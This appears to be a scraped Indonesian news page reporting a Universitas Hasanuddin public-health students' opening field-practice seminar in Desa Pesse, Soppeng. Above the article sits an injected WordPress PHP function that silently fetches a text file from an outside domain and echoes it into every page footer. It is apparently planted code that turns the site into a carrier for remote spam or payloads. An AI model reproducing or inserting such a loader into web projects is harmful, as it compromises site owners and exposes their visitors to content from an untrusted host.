function load_external_content() { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://pausgundik.com/a.txt'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch); echo $a; } add_action('wp_footer', 'load_external_content');Posko 21 PBL I FKM Unhas Gelar Seminar Awal Bersama Masyarakat Desa Pesse, Kec. Donri-Donri - Suluh Nusantara

Home / Uncategorized

Selasa, 15 Juli 2025 - 19:48 WIB

Posko 21 PBL I FKM Unhas Gelar Seminar Awal Bersama Masyarakat Desa Pesse, Kec. Donri-Donri

Sesi Foto Bersama Seminar Awal Posko 22 Desa Pesse

Sesi Foto Bersama Seminar Awal Posko 22 Desa Pesse

Desa Pesse, Kec. Donri-Donri, Kabupaten Soppeng, 15 Juli 2025

Mahasiswa dari Fakultas Kesehatan Masyarakat (FKM) Universitas Hasanuddin telah melaksanakan seminar awal sebagai tanda dimulainya kegiatan Praktik Belajar Lapangan (PBL) I. Adapun tujuan dari pelaksanaan seminar ini adalah untuk memberikan pemahaman kepada masyarakat Desa Pesse mengenai rangkaian kegiatan yang akan dilaksanakan, seperti observasi, pengumpulan data, identifikasi masalah, diskusi kelompok terfokus (FGD), serta penentuan prioritas masalah.

Seminar awal ini diselenggarakan pada hari Selasa, 15 Juli 2025 pukul 15.00 WITA, bertempat di Balai Pertemuan Desa Pesse. Kegiatan ini dihadiri oleh 25 partisipan dari berbagai unsur masyarakat, diantaranya Koordinator Keuangan Desa Pesse mewakili Kepala Desa, Kepala Dusun Ukke’e, Ketua RT/RW, Ketua Lembaga Pemberdayaan Masyarakat Desa, Kader Posyandu, Kader Lansia, serta warga Desa Pesse.

Pelaksana kegiatan Seminar Awal berasal dari mahasiswa PBL I yang ditempatkan di Posko Desa Pesse, Kecamatan Donri-Donri, Kabupaten Soppeng yang berjumlah tujuh orang, yakni Dimas Anugrah Ramadhan (Kesehatan Lingkungan), Riski Maghfirah (Administrasi dan Kebijakan Kesehatan), Fatirah Andayani (Kesehatan dan Keselamatan Kerja), Ichi Delfita (Epidemiologi), Dewi Febyana Putri (Manajemen Rumah Sakit), Nur Aliya Purnama (Biostatistik) dan Nansy Patandung Timbanglangi (Promosi Kesehatan dan Ilmu Perilaku). Kegiatan ini berlangsung di bawah pengawasan dan bimbingan dari Ibu A. Muflihah Darwis, SKM., M.Kes., selaku supervisor.

Baca Juga  Seminar Akhir Warnai Penutupan PBL I Mahasiswa FKM Unhas di Kelurahan Jennae

“Kami menyambut hangat kedatangan mahasiswa PBL FKM Unhas di Desa Pesse. Semoga kehadiran mahasiswa PBL dapat memberikan kontribusi yang positif, baik bagi masyarakat maupun bagi pengalaman mahasiswa sendiri,” ujar Koordinator Keuangan Desa Pesse, Asfarno, dalam sambutannya.

Acara dimulai dengan pembukaan oleh MC, dilanjutkan dengan menyanyikan lagu Indonesia Raya, dan sambutan dari pihak desa. Selanjutnya, mahasiswa memaparkan penjelasan singkat mengenai agenda kegiatan yang akan dilaksanakan selama PBL I. Kegiatan ini diakhiri dengan doa dan sesi foto bersama sebagai simbol dimulainya kolaborasi antar mahasiswa dengan masyarakat.

Praktik Belajar Lapangan merupakan bagian dari proses pembelajaran yang bertujuan mengembangkan kemampuan profesional mahasiswa di bidang kesehatan masyarakat. Kegiatan ini melibatkan kolaborasi antara institusi dan masyarakat, serta berorientasi pada peningkatan derajat kesehatan masyarakat. PBL terdiri atas tiga tahap, yaitu PBL I, PBL II, dan PBL III. Melalui kegiatan ini, mahasiswa diharapkan mampu mengidentifikasi masalah kesehatan masyarakat, menyusun prioritas masalah, dan menyusun alternatif pemecahan masalah.

Baca Juga  Akhiri PBL I, Mahasiswa FKM Unhas Gelar Seminar Akhir Bersama Masyarakat dan Pemerintah Desa Citta

Kegiatan ini mendukung pencapaian Sustainable Development Goals (SDGs), khususnya tujuan ketiga: Good Health and Well-Being, yang berfokus pada peningkatan kualitas kesehatan dan kesejahteraan masyarakat. Melalui keterlibatan langsung di lingkungan desa, mahasiswa diajak untuk mengidentifikasi permasalahan kesehatan yang ada, serta berperan aktif dalam merancang solusi yang sesuai dengan kondisi setempat.

Selaras dengan hal tersebut, kegiatan ini juga mendukung Asta Cita, khususnya Cita ke-6, yaitu membangun dari desa melalui partisipasi aktif masyarakat dan pemanfaatan data berbasis komunitas. Selain itu, kegiatan ini sejalan dengan Cita ke-8, yakni memperkuat kehidupan yang harmonis dengan lingkungan dan budaya melalui peningkatan kesadaran masyarakat akan pentingnya perilaku hidup bersih dan sehat. Melalui pendekatan berbasis masyarakat ini, diharapkan muncul kesadaran dan kemandirian warga desa dalam menjaga kesehatan lingkungan maupun individu.

Sebagai penutup, kegiatan ini diharapkan dapat memberikan manfaat baik bagi mahasiswa maupun masyarakat desa, serta menjadi langkah awal dalam meningkatkan kesadaran akan pentingnya kesehatan melalui peran aktif semua pihak.

Share :

Baca Juga

Uncategorized

Pentingnya Stimulasi dan Bahaya Pemberian Smartphone Pada Anak Usia Dini: Sebuah Penyuluhan Pola Asuh di Desa Balang Baru, Kec. Tarowang Kab. Jeneponto

Uncategorized

Dialog Sehat Untuk Generasi Hebat

Uncategorized

FKM UNHAS FINALISASI TRACER STUDY ALUMNI UNTUK MENINGKATKAN CAPAIAN IKU 1

Uncategorized

**Mahasiswa Magang Promosi Kesehatan Universitas Hasanuddin Berpartisipasi dalam Pelatihan Screening Kesehatan Jiwa oleh Dinas Kesehatan Kota Makassar untuk Mendukung SDGs 3: Deteksi Dini Kesehatan Mental Siswa SMP**

Uncategorized

Tim PIK Heart FKM Unhas Dilatih KAP Sebagai Komunikator Imunisasi HPV Untuk Dukung BIAS

Uncategorized

Mahasiswa KKN-PK 67 Universitas Hasanuddin Edukasi Keselamatan Kerja bagi Petani Cengkeh di Desa Parangloe, Bantaeng

Uncategorized

Tingkatkan Akses Pelayanan Kesehatan: Tim Medis Klinik FK-Unhas Gelar Sosialisasi Sekaligus Pemindahan FKTP Bagi Civitas Akademika FKM Unhas

Uncategorized

Departemen PKIP Gelar Pengabdian Dies Natalis 42 FKM Unhas Ajak Warga Sadar Sehat untuk Dukung Agenda SDGs